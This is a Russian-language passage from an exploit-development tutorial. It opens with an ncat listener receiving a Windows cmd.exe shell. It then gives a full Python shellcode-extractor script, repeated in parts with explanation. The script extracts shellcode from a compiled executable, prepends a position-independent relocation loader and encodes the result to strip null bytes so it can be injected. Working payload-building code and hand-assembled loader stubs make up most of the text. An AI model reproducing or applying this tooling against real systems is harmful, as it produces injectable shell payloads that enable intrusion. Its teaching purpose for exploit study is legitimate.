Ncat: Listening on :::123
Ncat: Listening on 0.0.0.0:123
Ncat: Connection from 127.0.0.1.
Ncat: Connection from 127.0.0.1:4409.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Users\Kiuhnm\documents\visual studio 2013\Projects\shellcode\shellcode>

Теперь мы можете выполнять любые команды. Что бы выйти введите exit.

main

Благодаря опции линкера

Function Order: function_order.txt

Где первая и единственная строка в текстовом файле function_order.txt (?entryPoint@@YAHXZ) указывает ему, что бы функция entryPoint будет размещена первой в нашем шелл-коде. Это именно то что мы и хотели сделать.

Функция main последняя в исходном коде, она будет слинкована в конце нашего шелл-кода. Это даст нам возможность знать где шелл-код заканчивается. Мы увидим как именно когда будем говорить о map-файле.

Python скрипт

Введение

Теперь, когда исполняемый файл, содержащий наш шелл-код готов, нам нужен способ как его извлечь и исправить. Будет не просто, по этому я написал Python скрипт который:

  1. Извлечет шелл-код
  2. Обработает перемещения для строк
  3. Исправит шелл-код удалением NULL-байтов

Кстати, вы можете использовать всё что угодно, лично я использую PyCharm (скачать).

Данный скрипт состоит из 392 строк кода, но здесь использованы некоторые уловки о которых мы поговорим далее.

Код:

# Shellcode extractor by Massimiliano Tomassoli (2015)
 
import sys
import os
import datetime
import pefile
 
author = 'Massimiliano Tomassoli'
year = datetime.date.today().year
 
 
def dword_to_bytes(value):
    return [value & 0xff, (value >> 8) & 0xff, (value >> 16) & 0xff, (value >> 24) & 0xff]
 
 
def bytes_to_dword(bytes):
    return (bytes[0] & 0xff) | ((bytes[1] & 0xff) << 8) | \
           ((bytes[2] & 0xff) << 16) | ((bytes[3] & 0xff) << 24)
 
 
def get_cstring(data, offset):
    '''
    Извлечь С-строку (т.е. NULL-терминальную) из data начиная с offset.
    '''
    pos = data.find('\0', offset)
    if pos == -1:
        return None
    return data[offset:pos+1]
 
 
def get_shellcode_len(map_file):
    '''
    Получить длину шелл0кода анализируя map_file
    '''
    try:
        with open(map_file, 'r') as f:
            lib_object = None
            shellcode_len = None
            for line in f:
                parts = line.split()
                if lib_object is not None:
                    if parts[-1] == lib_object:
                        raise Exception('_main is not the last function of %s' % lib_object)
                    else:
                        break
                elif (len(parts) > 2 and parts[1] == '_main'):
                    # Format:
                    # 0001:00000274  _main   00401274 f   shellcode.obj
                    shellcode_len = int(parts[0].split(':')[1], 16)
                    lib_object = parts[-1]
 
            if shellcode_len is None:
                raise Exception('Cannot determine shellcode length')
    except IOError:
        print('[!] get_shellcode_len: Cannot open "%s"' % map_file)
        return None
    except Exception as e:
        print('[!] get_shellcode_len: %s' % e.message)
        return None
 
    return shellcode_len
 
 
def get_shellcode_and_relocs(exe_file, shellcode_len):
    '''
    Извлечь шелл-код из .text секции файла exe_file b перемещения строк.
    Вернуть кортеж (shellcode, relocs, addr_to_strings).
    '''
    try:
        # Extracts the shellcode.
        pe = pefile.PE(exe_file)
        shellcode = None
        rdata = None
        for s in pe.sections:
            if s.Name == '.text\0\0\0':
                if s.SizeOfRawData < shellcode_len:
                    raise Exception('.text section too small')
                shellcode_start = s.VirtualAddress
                shellcode_end = shellcode_start + shellcode_len
                shellcode = pe.get_data(s.VirtualAddress, shellcode_len)
            elif s.Name == '.rdata\0\0':
                rdata_start = s.VirtualAddress
                rdata_end = rdata_start + s.Misc_VirtualSize
                rdata = pe.get_data(rdata_start, s.Misc_VirtualSize)
 
        if shellcode is None:
            raise Exception('.text section not found')
        if rdata is None:
            raise Exception('.rdata section not found')
        
        # Извлечь перемешения для шелл-кода и строки в .rdata
        relocs = []
        addr_to_strings = {}
        for rel_data in pe.DIRECTORY_ENTRY_BASERELOC:
            for entry in rel_data.entries[:-1]:         # последний rvs элемента это base_rva (почему?)
                if shellcode_start <= entry.rva < shellcode_end:
                    # Место перемещения внутри шелл-кода
                    relocs.append(entry.rva - shellcode_start)      # смещение относительно начала шелл-кода 
                    string_va = pe.get_dword_at_rva(entry.rva)
                    string_rva = string_va - pe.OPTIONAL_HEADER.ImageBase
                    if string_rva < rdata_start or string_rva >= rdata_end:
                        raise Exception('shellcode references a section other than .rdata')
                    str = get_cstring(rdata, string_rva - rdata_start)
                    if str is None:
                        raise Exception('Cannot extract string from .rdata')
                    addr_to_strings[string_va] = str
 
        return (shellcode, relocs, addr_to_strings)
 
    except WindowsError:
        print('[!] get_shellcode: Cannot open "%s"' % exe_file)
        return None
    except Exception as e:
        print('[!] get_shellcode: %s' % e.message)
        return None
 
 
def dword_to_string(dword):
    return ''.join([chr(x) for x in dword_to_bytes(dword)])
 
 
def add_loader_to_shellcode(shellcode, relocs, addr_to_strings):
    if len(relocs) == 0:
        return shellcode                # there are no relocations
 
    # формат нового шелл-кода:
    #       call    here
    #   here:
    #       ...
    #   shellcode_start:
    #       <shellcode>         (содержит offsets к strX (смещения из "here" метки))
    #   relocs:
    #       off1|off2|...       (смещения на перемещения (смещения из "here" метки))
    #       str1|str2|...
 
    delta = 21                                      # shellcode_start - here
 
    # Строим первую часть (к шелл-коду не включая его).
    x = dword_to_bytes(delta + len(shellcode))
    y = dword_to_bytes(len(relocs))
    code = [
        0xE8, 0x00, 0x00, 0x00, 0x00,               #   CALL here
                                                    # here:
        0x5E,                                       #   POP ESI
        0x8B, 0xFE,                                 #   MOV EDI, ESI
        0x81, 0xC6, x[0], x[1], x[2], x[3],         #   ADD ESI, shellcode_start + len(shellcode) - here
        0xB9, y[0], y[1], y[2], y[3],               #   MOV ECX, len(relocs)
        0xFC,                                       #   CLD
                                                    # again:
        0xAD,                                       #   LODSD
        0x01, 0x3C, 0x07,                           #   ADD [EDI+EAX], EDI
        0xE2, 0xFA                                  #   LOOP again
                                                    # shellcode_start:
    ]
 
    # Builds the final part (offX and strX).
    offset = delta + len(shellcode) + len(relocs) * 4           # смещения из "here" метки
    final_part = [dword_to_string(r + delta) for r in relocs]
    addr_to_offset = {}
    for addr in addr_to_strings.keys():
        str = addr_to_strings[addr]
        final_part.append(str)
        addr_to_offset[addr] = offset
        offset += len(str)
 
    #Исправляет шелл-код так, что бы указатели релоков указывали на строки в последней части  
    byte_shellcode = [ord(c) for c in shellcode]
    for off in relocs:
        addr = bytes_to_dword(byte_shellcode[off:off+4])
        byte_shellcode[off:off+4] = dword_to_bytes(addr_to_offset[addr])
 
    return ''.join([chr(b) for b in (code + byte_shellcode)]) + ''.join(final_part)
 
 
def dump_shellcode(shellcode):
    '''
    Выводит шелл-код в С формате ('\x12\x23...')
    '''
    shellcode_len = len(shellcode)
    sc_array = []
    bytes_per_row = 16
    for i in range(shellcode_len):
        pos = i % bytes_per_row
        str = ''
        if pos == 0:
            str += '"'
        str += '\\x%02x' % ord(shellcode[i])
        if i == shellcode_len - 1:
            str += '";\n'
        elif pos == bytes_per_row - 1:
            str += '"\n'
        sc_array.append(str)
    shellcode_str = ''.join(sc_array)
    print(shellcode_str)
 
 
def get_xor_values(value):
    '''
    Находит х и у так:
    1) x xor y == value
    2) x и y не содержат null байтов
    Возвращает х и  у как массивы байтов начиня с наименее значимого байта    
    '''
 
    # Находит не-null отсутствующих байт.
    bytes = dword_to_bytes(value)
    missing_byte = [b for b in range(1, 256) if b not in bytes][0]
 
    xor1 = [b ^ missing_byte for b in bytes]
    xor2 = [missing_byte] * 4
    return (xor1, xor2)
 
 
def get_fixed_shellcode_single_block(shellcode):
    '''
    Возвращает версию шелл-кода без null байт или None если шелл-код не может быть    исправлен. Если функция не выолняется, используйте get_fixed_shellcode()
    '''
 
    bytes = set([ord(c) for c in shellcode])
    missing_bytes = [b for b in range(1, 256) if b not in bytes]
    if len(missing_bytes) == 0:
        return None                             # shellcode can't be fixed
    missing_byte = missing_bytes[0]
 
    (xor1, xor2) = get_xor_values(len(shellcode))
 
    code = [
        0xE8, 0xFF, 0xFF, 0xFF, 0xFF,                       #   CALL $ + 4
                                                            # here:
        0xC0,                                               #   (FF)C0 = INC EAX
        0x5F,                                               #   POP EDI
        0xB9, xor1[0], xor1[1], xor1[2], xor1[3],           #   MOV ECX, <xor value 1 for shellcode len>
        0x81, 0xF1, xor2[0], xor2[1], xor2[2], xor2[3],     #   XOR ECX, <xor value 2 for shellcode len>
        0x83, 0xC7, 29,                                     #   ADD EDI, shellcode_begin - here
        0x33, 0xF6,                                         #   XOR ESI, ESI
        0xFC,                                               #   CLD
                                                            # loop1:
        0x8A, 0x07,                                         #   MOV AL, BYTE PTR [EDI]
        0x3C, missing_byte,                                 #   CMP AL, <missing byte>
        0x0F, 0x44, 0xC6,                                   #   CMOVE EAX, ESI
        0xAA,                                               #   STOSB
        0xE2, 0xF6                                          #   LOOP loop1
                                                            # shellcode_begin:
    ]
 
    return ''.join([chr(x) for x in code]) + shellcode.replace('\0', chr(missing_byte))
 
 
def get_fixed_shellcode(shellcode):
    '''
    Возвращает версию шелл-кода без null байтов. Эта версия далит шелл-код на блоки и должна использоваться только если get_fixed_shellcode_single_block() не работает с шелл-кодом. 
    '''
 
    # Формат bytes_blocks таков:
    #   [missing_byte1, number_of_blocks1,
    #    missing_byte2, number_of_blocks2, ...]
    # где missing_byteX это значение используемое для перезаписи null-байта
    # шелл-коде пока number_of_blocksX это количество 254-байтовых блоков где 
    # используется соответствующий недостающий missing_byteX.
    bytes_blocks = []
    shellcode_len = len(shellcode)
    i = 0
    while i < shellcode_len:
        num_blocks = 0
        missing_bytes = list(range(1, 256))
 
        # Пытается найти настолько много 254-байтовых последовательных блоков насолько возможно.
        # Стоит знать что 254-байтовый блок всегда нуждается в минимум одной null-байтовом значении     
        while True:
            if i >= shellcode_len or num_blocks == 255:
                bytes_blocks += [missing_bytes[0], num_blocks]
                break
            bytes = set([ord(c) for c in shellcode[i:i+254]])
            new_missing_bytes = [b for b in missing_bytes if b not in bytes]
            if len(new_missing_bytes) != 0:         # new block added
                missing_bytes = new_missing_bytes
                num_blocks += 1
                i += 254
            else:
                bytes += [missing_bytes[0], num_blocks]
                break
 
    if len(bytes_blocks) > 0x7f - 5:
        # Не может ассемблировать "LEA EBX, [EDI + (здесь байты)]" или "JMP skip_bytes".
        return None
 
    (xor1, xor2) = get_xor_values(len(shellcode))
 
    code = ([
        0xEB, len(bytes_blocks)] +                          #   JMP SHORT skip_bytes
                                                            # bytes:
        bytes_blocks + [                                    #   ...
                                                            # skip_bytes:
        0xE8, 0xFF, 0xFF, 0xFF, 0xFF,                       #   CALL $ + 4
                                                            # here:
        0xC0,                                               #   (FF)C0 = INC EAX
        0x5F,                                               #   POP EDI
        0xB9, xor1[0], xor1[1], xor1[2], xor1[3],           #   MOV ECX, <xor value 1 for shellcode len>
        0x81, 0xF1, xor2[0], xor2[1], xor2[2], xor2[3],     #   XOR ECX, <xor value 2 for shellcode len>
        0x8D, 0x5F, -(len(bytes_blocks) + 5) & 0xFF,        #   LEA EBX, [EDI + (bytes - here)]
        0x83, 0xC7, 0x30,                                   #   ADD EDI, shellcode_begin - here
                                                            # loop1:
        0xB0, 0xFE,                                         #   MOV AL, 0FEh
        0xF6, 0x63, 0x01,                                   #   MUL AL, BYTE PTR [EBX+1]
        0x0F, 0xB7, 0xD0,                                   #   MOVZX EDX, AX
        0x33, 0xF6,                                         #   XOR ESI, ESI
        0xFC,                                               #   CLD
                                                            # loop2:
        0x8A, 0x07,                                         #   MOV AL, BYTE PTR [EDI]
        0x3A, 0x03,                                         #   CMP AL, BYTE PTR [EBX]
        0x0F, 0x44, 0xC6,                                   #   CMOVE EAX, ESI
        0xAA,                                               #   STOSB
        0x49,                                               #   DEC ECX
        0x74, 0x07,                                         #   JE shellcode_begin
        0x4A,                                               #   DEC EDX
        0x75, 0xF2,                                         #   JNE loop2
        0x43,                                               #   INC EBX
        0x43,                                               #   INC EBX
        0xEB, 0xE3                                          #   JMP loop1
                                                            # shellcode_begin:
    ])
 
    new_shellcode_pieces = []
    pos = 0
    for i in range(len(bytes_blocks) / 2):
        missing_char = chr(bytes_blocks[i*2])
        num_bytes = 254 * bytes_blocks[i*2 + 1]
        new_shellcode_pieces.append(shellcode[pos:pos+num_bytes].replace('\0', missing_char))
        pos += num_bytes
 
    return ''.join([chr(x) for x in code]) + ''.join(new_shellcode_pieces)
 
 
def main():
    print("Shellcode Extractor by %s (%d)\n" % (author, year))
 
    if len(sys.argv) != 3:
        print('Usage:\n' +
              '  %s <exe file> <map file>\n' % os.path.basename(sys.argv[0]))
        return
 
    exe_file = sys.argv[1]
    map_file = sys.argv[2]
 
    print('Extracting shellcode length from "%s"...' % os.path.basename(map_file))
    shellcode_len = get_shellcode_len(map_file)
    if shellcode_len is None:
        return
    print('shellcode length: %d' % shellcode_len)
 
    print('Extracting shellcode from "%s" and analyzing relocations...' % os.path.basename(exe_file))
    result = get_shellcode_and_relocs(exe_file, shellcode_len)
    if result is None:
        return
    (shellcode, relocs, addr_to_strings) = result
 
    if len(relocs) != 0:
        print('Found %d reference(s) to %d string(s) in .rdata' % (len(relocs), len(addr_to_strings)))
        print('Strings:')
        for s in addr_to_strings.values():
            print('  ' + s[:-1])
        print('')
        shellcode = add_loader_to_shellcode(shellcode, relocs, addr_to_strings)
    else:
        print('No relocations found')
 
    if shellcode.find('\0') == -1:
        print('Unbelievable: the shellcode does not need to be fixed!')
        fixed_shellcode = shellcode
    else:
        # шелл-код содержит null-байты и должен быть иссправлен
        print('Fixing the shellcode...')
        fixed_shellcode = get_fixed_shellcode_single_block(shellcode)
        if fixed_shellcode is None:             # если не был исправлен...
            fixed_shellcode = get_fixed_shellcode(shellcode)
            if fixed_shellcode is None:
                print('[!] Cannot fix the shellcode')
 
    print('final shellcode length: %d\n' % len(fixed_shellcode))
    print('char shellcode[] = ')
    dump_shellcode(fixed_shellcode)
 
 
main()

Map-файл и длина шелл-кода

Мы сказали линкеры что бы он выдал нам map-файл следую опциям:

  1. Debugging:

    • Generate Map File: Yes (/MAP)
      Сказать линкеру что бы он генерировал map-файл содержащий структуру EXE
    • Map File Name: mapfile
      Map-файл важен в определении длины шелл-кода.

Вот соответствующая часть map-файла:

shellcode

 Timestamp is 54fa2c08 (Fri Mar 06 23:36:56 2015)

 Preferred load address is 00400000

 Start         Length     Name                   Class
 0001:00000000 00000a9cH .text$mn                CODE
 0002:00000000 00000094H .idata$5                DATA
 0002:00000094 00000004H .CRT$XCA                DATA
 0002:00000098 00000004H .CRT$XCAA               DATA
 0002:0000009c 00000004H .CRT$XCZ                DATA
 0002:000000a0 00000004H .CRT$XIA                DATA
 0002:000000a4 00000004H .CRT$XIAA               DATA
 0002:000000a8 00000004H .CRT$XIC                DATA
 0002:000000ac 00000004H .CRT$XIY                DATA
 0002:000000b0 00000004H .CRT$XIZ                DATA
 0002:000000c0 000000a8H .rdata                  DATA
 0002:00000168 00000084H .rdata$debug            DATA
 0002:000001f0 00000004H .rdata$sxdata           DATA
 0002:000001f4 00000004H .rtc$IAA                DATA
 0002:000001f8 00000004H .rtc$IZZ                DATA
 0002:000001fc 00000004H .rtc$TAA                DATA
 0002:00000200 00000004H .rtc$TZZ                DATA
 0002:00000208 0000005cH .xdata$x                DATA
 0002:00000264 00000000H .edata                  DATA
 0002:00000264 00000028H .idata$2                DATA
 0002:0000028c 00000014H .idata$3                DATA
 0002:000002a0 00000094H .idata$4                DATA
 0002:00000334 0000027eH .idata$6                DATA
 0003:00000000 00000020H .data                   DATA
 0003:00000020 00000364H .bss                    DATA
 0004:00000000 00000058H .rsrc$01                DATA
 0004:00000060 00000180H .rsrc$02                DATA

  Address         Publics by Value              Rva+Base       Lib:Object

 0000:00000000       ___guard_fids_table        00000000     <absolute>
 0000:00000000       ___guard_fids_count        00000000     <absolute>
 0000:00000000       ___guard_flags             00000000     <absolute>
 0000:00000001       ___safe_se_handler_count   00000001     <absolute>
 0000:00000000       ___ImageBase               00400000     <linker-defined>
 0001:00000000       ?entryPoint@@YAHXZ         00401000 f   shellcode.obj
 0001:000001a1       ?getHash@@YAKPBD@Z         004011a1 f   shellcode.obj
 0001:000001be       ?getProcAddrByHash@@YAPAXK@Z 004011be f   shellcode.obj
 0001:00000266       _main                      00401266 f   shellcode.obj
 0001:000004d4       _mainCRTStartup            004014d4 f   MSVCRT:crtexe.obj
 0001:000004de       ?__CxxUnhandledExceptionFilter@@YGJPAU_EXCEPTION_POINTERS@@@Z 004014de f   MSVCRT:unhandld.obj
 0001:0000051f       ___CxxSetUnhandledExceptionFilter 0040151f f   MSVCRT:unhandld.obj
 0001:0000052e       __XcptFilter               0040152e f   MSVCRT:MSVCR120.dll
<обрезано>

Начало map-файла говорит нам что секция 1 это .text, которая содержит код:

Start         Length     Name                   Class
0001:00000000 00000a9cH .text$mn                CODE

Вторая часть говорит что .text секция начинается с ?entryPoint@@YAHXZ, нашей функции entryPoint, и это main (именуемая _main) последняя из наших функций. Так как main расположена по смещению 0x266 и entryPoint по 0, наш шелл-код начинается в начале .text секции размером в 0x266 байт.

Вот как мы делаем это в Python:

def get_shellcode_len(map_file):
    '''
    Получает длину шелл-кода анализируя map-файл 
    '''
    try:
        with open(map_file, 'r') as f:
            lib_object = None
            shellcode_len = None
            for line in f:
                parts = line.split()
                if lib_object is not None:
                    if parts[-1] == lib_object:
                        raise Exception('_main is not the last function of %s' % lib_object)
                    else:
                        break
                elif (len(parts) > 2 and parts[1] == '_main'):
                    # Format:
                    # 0001:00000274  _main   00401274 f   shellcode.obj
                    shellcode_len = int(parts[0].split(':')[1], 16)
                    lib_object = parts[-1]
 
            if shellcode_len is None:
                raise Exception('Cannot determine shellcode length')
    except IOError:
        print('[!] get_shellcode_len: Cannot open "%s"' % map_file)
        return None
    except Exception as e:
        print('[!] get_shellcode_len: %s' % e.message)
        return None
 
    return shellcode_len

Извлечение шелл-кода

Данная часть очень проста. Мы уже знаем длину шелл-кода и то, что шелл-код размещен в начале секции .text.

Вот код:

def get_shellcode_and_relocs(exe_file, shellcode_len):
    '''
    Извлечь шелл-код из .text секции файла exe_file b перемещения строк.
    Вернуть кортеж (shellcode, relocs, addr_to_strings).
    '''
    try:
        # Extracts the shellcode.
        pe = pefile.PE(exe_file)
        shellcode = None
        rdata = None
        for s in pe.sections:
            if s.Name == '.text\0\0\0':
                if s.SizeOfRawData < shellcode_len:
                    raise Exception('.text section too small')
                shellcode_start = s.VirtualAddress
                shellcode_end = shellcode_start + shellcode_len
                shellcode = pe.get_data(s.VirtualAddress, shellcode_len)
            elif s.Name == '.rdata\0\0':
                rdata_start = s.VirtualAddress
                rdata_end = rdata_start + s.Misc_VirtualSize
                rdata = pe.get_data(rdata_start, s.Misc_VirtualSize)
 
        if shellcode is None:
            raise Exception('.text section not found')
        if rdata is None:
            raise Exception('.rdata section not found')
<обрезано>

Я использую модуль pefile (скачать) который очень интуитивен в использовании. Соответствующая часть это тело «if».

Строки и .rdata

Как уже было сказано ранее, С/С++ код может содержать строки. К примеру, наш шелл-код содержит следующую строку:

My_CreateProcessA(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &sInfo, &procInfo);

Строка cmd.exe размещена в секции .rdata. Это секция с правами «только чтение» которая я содержит инициализированные данные.

Код ссылается на ту строку используя абсолютный адрес:

00241152 50                   push        eax  
00241153 8D 44 24 5C          lea         eax,[esp+5Ch]  
00241157 C7 84 24 88 00 00 00 00 01 00 00 mov         dword ptr [esp+88h],100h  
00241162 50                   push        eax  
00241163 52                   push        edx  
00241164 52                   push        edx  
00241165 52                   push        edx  
00241166 6A 01                push        1  
00241168 52                   push        edx  
00241169 52                   push        edx  
0024116A 68 18 21 24 00       push        242118h         <------------------------
0024116F 52                   push        edx  
00241170 89 B4 24 C0 00 00 00 mov         dword ptr [esp+0C0h],esi  
00241177 89 B4 24 BC 00 00 00 mov         dword ptr [esp+0BCh],esi  
0024117E 89 B4 24 B8 00 00 00 mov         dword ptr [esp+0B8h],esi  
00241185 FF 54 24 34          call        dword ptr [esp+34h]

Как мы видим, абсолютный адрес для cmd.exe это 242118h. Запомните, что адрес это инструкции push и размещена она по адресу 24116Bh. Если мы изучим cmd.exe файловым редактором, мы увидим следующее:

56A: 68 18 21 40 00           push        000402118h

где 56Ah это смещения в файле. Соответствующий виртуальный адрес в памяти – это 40116A, потому что база образа 400000h. Это предпочтительный адрес по которому выполняемые файлы загружаются в память. Абсолютный адрес в инструкции, 402118h, корректный, если выполняемый файл загружен по предпочтительному базовому адресу. Но если выполняемый файл был загружен по другому базовому адресу, инструкции нужно исправить с учётом изменений. Как загрузчик Windows знает, какие места исполняемого файла содержат адреса, которые должны быть исправлены? РЕ файл содержит Relocation Directory, которая в нашем случае указывает на .reloc секцию. Она (директория) содержит все RVA мест, которые нам надо исправить.

Мы можем проверить эту директорию и поискать адреса мест которые:

  1. Содержатся в шелл-коде (т.е. от .text:0 и до main функции не заходя в неё),
  2. Содержит указатели на данные в .rdata

К примеру, Relocation Directory будет содержать, помимо многих других адресов, адрес 40116Bh который по которому размещены последние четыре байта инструкции push 402118h. Эти байты формируют адрес 402118h, который указывает на строку cmd.exe содержащуюся в .rdata (которая начинается по адресу 402000h).

Давайте посмотрим на функцию get_shellcode_and_relocs. В первой части мы извлекаем секцию .rdata:

def get_shellcode_and_relocs(exe_file, shellcode_len):
    '''
    Извлечь шелл-код из .text секции файла exe_file b перемещения строк.
    Вернуть кортеж (shellcode, relocs, addr_to_strings).
    '''
    try:
        # Extracts the shellcode.
        pe = pefile.PE(exe_file)
        shellcode = None
        rdata = None
        for s in pe.sections:
            if s.Name == '.text\0\0\0':
                if s.SizeOfRawData < shellcode_len:
                    raise Exception('.text section too small')
                shellcode_start = s.VirtualAddress
                shellcode_end = shellcode_start + shellcode_len
                shellcode = pe.get_data(s.VirtualAddress, shellcode_len)
            elif s.Name == '.rdata\0\0':
                rdata_start = s.VirtualAddress
                rdata_end = rdata_start + s.Misc_VirtualSize
                rdata = pe.get_data(rdata_start, s.Misc_VirtualSize)
 
        if shellcode is None:
            raise Exception('.text section not found')
        if rdata is None:
            raise Exception('.rdata section not found')

Важная часть - это тело elif.

Во второй части этой же функции мы анализируем перемещения, находим места (relocations) внутри нашего шелл-кода и извлекаем из .rdata нуль-терминальные строки на которые указывали эти места (relocations).

Как уже было сказано, мы заинтересованы только в адресах, которые внутри нашего шелл-кода. Вот соответствующая часть функции get_shellcode_and_relocs:

# Извлечь перемешения для шелл-кода и строки в .rdata
        relocs = []
        addr_to_strings = {}
        for rel_data in pe.DIRECTORY_ENTRY_BASERELOC:
            for entry in rel_data.entries[:-1]:         # последний rvs элемента это base_rva (почему?)
                if shellcode_start <= entry.rva < shellcode_end:
                    # Место перемещения внутри шелл-кода
                    relocs.append(entry.rva - shellcode_start)      # смещение относительно начала шелл-кода 
                    string_va = pe.get_dword_at_rva(entry.rva)
                    string_rva = string_va - pe.OPTIONAL_HEADER.ImageBase
                    if string_rva < rdata_start or string_rva >= rdata_end:
                        raise Exception('shellcode references a section other than .rdata')
                    str = get_cstring(rdata, string_rva - rdata_start)
                    if str is None:
                        raise Exception('Cannot extract string from .rdata')
                    addr_to_strings[string_va] = str
 
        return (shellcode, relocs, addr_to_strings)

pe.DIRECTORY_ENTRY_BASERELOC это список структур данных, которые содержат поле под названием entries, который в свою очередь является списком адресов (relocations). Сперва мы проверяет адреса, что бы они были в нашем шелл-коде. Если это так, делаем следующее:

  1. Мы добавляем к relocs смещение смещенные адрес перемещения к началу шелл-кода (относительный);
  2. Извлекаем из шелл-кода DWORD размещенный по смещению которого мы только что нашли, и проверяем указывает ли этот DWORD на данные в .rdata;
  3. Извлекаем из .rdata нуль-терминальную строку начальный адрес которой мы нашли в (2);
  4. Прибавляем строку к addr_to_strings.

Стоит обратить внимание:

  • Relocs содержат смещение адресов размещения внутри шелл-кода, т.е. смещение DWORD’a внутри шелл-кода которого надо исправить так, что бы он указывал на строки;
  • addr_to_strings – это словарь, который ассоциируется с найденными адресами в (2) указывающими на строки.

Добавление загрузчика в шелл-код

Смысл в том, что бы добавить строки, которые размещены в addr_to_strings в конец нашего шелл-кода, и потом заставить наш код в шелл-коде указывать на те строки. К сожалению,code→strings линковка должна быть проделана во время выполнения, потому что мы не знаем начальные адреса шелл-кода. По этому нам надо добавить в начале что-то типа «загрузчика (loader)» который пофиксит наш код во время выполнения (runtime).

Структура нашего шелл-кода после трансформаций:

offX – это DWORD, который указвает на адреса размещений в оригиинальном шелл-коде который нужно пофиксить. Загрузчик исправит эти адреса размещений так, что они будут указывать на корректные строки strX.

Что бы посмотреть как именно это работает, попробуйте разобрать с этим кодом:

def add_loader_to_shellcode(shellcode, relocs, addr_to_strings):
    if len(relocs) == 0:
        return shellcode                # there are no relocations
 
    # формат нового шелл-кода:
    #       call    here
    #   here:
    #       ...
    #   shellcode_start:
    #       <shellcode>         (содержит offsets к strX (смещения из "here" метки))
    #   relocs:
    #       off1|off2|...       (смещения на перемещения (смещения из "here" метки))
    #       str1|str2|...
 
    delta = 21                                      # shellcode_start - here
 
    # Строим первую часть (к шелл-коду не включая его).
    x = dword_to_bytes(delta + len(shellcode))
    y = dword_to_bytes(len(relocs))
    code = [
        0xE8, 0x00, 0x00, 0x00, 0x00,               #   CALL here
                                                    # here:
        0x5E,                                       #   POP ESI
        0x8B, 0xFE,                                 #   MOV EDI, ESI
        0x81, 0xC6, x[0], x[1], x[2], x[3],         #   ADD ESI, shellcode_start + len(shellcode) - here
        0xB9, y[0], y[1], y[2], y[3],               #   MOV ECX, len(relocs)
        0xFC,                                       #   CLD
                                                    # again:
        0xAD,                                       #   LODSD
        0x01, 0x3C, 0x07,                           #   ADD [EDI+EAX], EDI
        0xE2, 0xFA                                  #   LOOP again
                                                    # shellcode_start:
    ]
 
    # Builds the final part (offX and strX).
    offset = delta + len(shellcode) + len(relocs) * 4           # смещения из "here" метки
    final_part = [dword_to_string(r + delta) for r in relocs]
    addr_to_offset = {}
    for addr in addr_to_strings.keys():
        str = addr_to_strings[addr]
        final_part.append(str)
        addr_to_offset[addr] = offset
        offset += len(str)
 
    #Исправляет шелл-код так, что бы указатели релоков указывали на строки в последней части  
    byte_shellcode = [ord(c) for c in shellcode]
    for off in relocs:
        addr = bytes_to_dword(byte_shellcode[off:off+4])
        byte_shellcode[off:off+4] = dword_to_bytes(addr_to_offset[addr])
 
    return ''.join([chr(b) for b in (code + byte_shellcode)]) + ''.join(final_part)
Теперь посмотрим на загрузчик: 
 CALL here                   ; PUSH EIP+5; JMP here
  here:
    POP ESI                     ; ESI = address of "here"
    MOV EDI, ESI                ; EDI = address of "here"
    ADD ESI, shellcode_start + len(shellcode) - here        ; ESI = address of off1
    MOV ECX, len(relocs)        ; ECX = number of locations to fix
    CLD                         ; tells LODSD to go forwards
  again:
    LODSD                       ; EAX = offX; ESI += 4
    ADD [EDI+EAX], EDI          ; fixes location within shellcode
    LOOP again                  ; DEC ECX; if ECX > 0 then JMP again
  shellcode_start:
    <shellcode>
  relocs:
    off1|off2|...
    str1|str2|...

Первый CALL используется для получения абсолютного адреса «here» в памяти. Заргзучик использует информацию для исправления смещений внутри оригинального шелл-кода. ESI указывает на off1, по этому LODSD используется для чтения смещений по одному.

Инструкция:

ADD [EDI+EAX], EDI

исправляем адреса внутри шелл-кода. EAX – это теперешний offX (смещение местоположения относительно к «here»). Это значит, что EDI+EAX – абсолютный адрес того места. DWORD в том месте содержит смещение на корректную строку относительно к «here». Прибавляя EDI к DWORD, мы превращаем в абсолютный адрес на строку. Когда загрузчик закончил свою работу, исправленный шелл-код начинает выполняться.

В заключение надо сказать, что add_loader_to_shellcode вызывается только в том случае, если есть адреса перемещений.

Вы можете это увидеть в функции main:

< обрезано >
    if len(relocs) != 0:
        print('Found %d reference(s) to %d string(s) in .rdata' % (len(relocs), len(addr_to_strings)))
        print('Strings:')
        for s in addr_to_strings.values():
            print('  ' + s[:-1])
        print('')
        shellcode = add_loader_to_shellcode(shellcode, relocs, addr_to_strings)
    else:
        print('No relocations found')
<обрезано>

Удаление null-байтов из шелл-кода (I)

После перемещений, пора разобраться с null-байтами представленными в шелл-коде. Как мы уже говорили, нам надо их удалить.

Для этого я написал две функции:

  1. get_fixed_shellcode_single_block
  2. get_fixed_shellcode

Первая функция не всегда работает, но она выдает короткий код, поэтому её следует использовать первой. Вторая функция выдает длинный код, зато она гарантирует что всегда будет выполняться.

Давайте начнем с get_fixed_shellcode_single_block.

Вот определение функции:

def get_fixed_shellcode_single_block(shellcode):
    '''
    Возвращает версию шелл-кода без null байт или None если шелл-код не может быть    исправлен. Если функция не выолняется, используйте get_fixed_shellcode()
    '''
 
    bytes = set([ord(c) for c in shellcode])
    missing_bytes = [b for b in range(1, 256) if b not in bytes]
    if len(missing_bytes) == 0:
        return None                             # shellcode can't be fixed
    missing_byte = missing_bytes[0]
 
    (xor1, xor2) = get_xor_values(len(shellcode))
 
    code = [
        0xE8, 0xFF, 0xFF, 0xFF, 0xFF,                       #   CALL $ + 4
                                                            # here:
        0xC0,                                               #   (FF)C0 = INC EAX
        0x5F,                                               #   POP EDI
        0xB9, xor1[0], xor1[1], xor1[2], xor1[3],           #   MOV ECX, <xor value 1 for shellcode len>
        0x81, 0xF1, xor2[0], xor2[1], xor2[2], xor2[3],     #   XOR ECX, <xor value 2 for shellcode len>
        0x83, 0xC7, 29,                                     #   ADD EDI, shellcode_begin - here
        0x33, 0xF6,                                         #   XOR ESI, ESI
        0xFC,                                               #   CLD
                                                            # loop1:
        0x8A, 0x07,                                         #   MOV AL, BYTE PTR [EDI]
        0x3C, missing_byte,                                 #   CMP AL, <missing byte>
        0x0F, 0x44, 0xC6,                                   #   CMOVE EAX, ESI
        0xAA,                                               #   STOSB
        0xE2, 0xF6                                          #   LOOP loop1
                                                            # shellcode_begin:
    ]
 
    return ''.join([chr(x) for x in code]) + shellcode.replace('\0', chr(missing_byte))

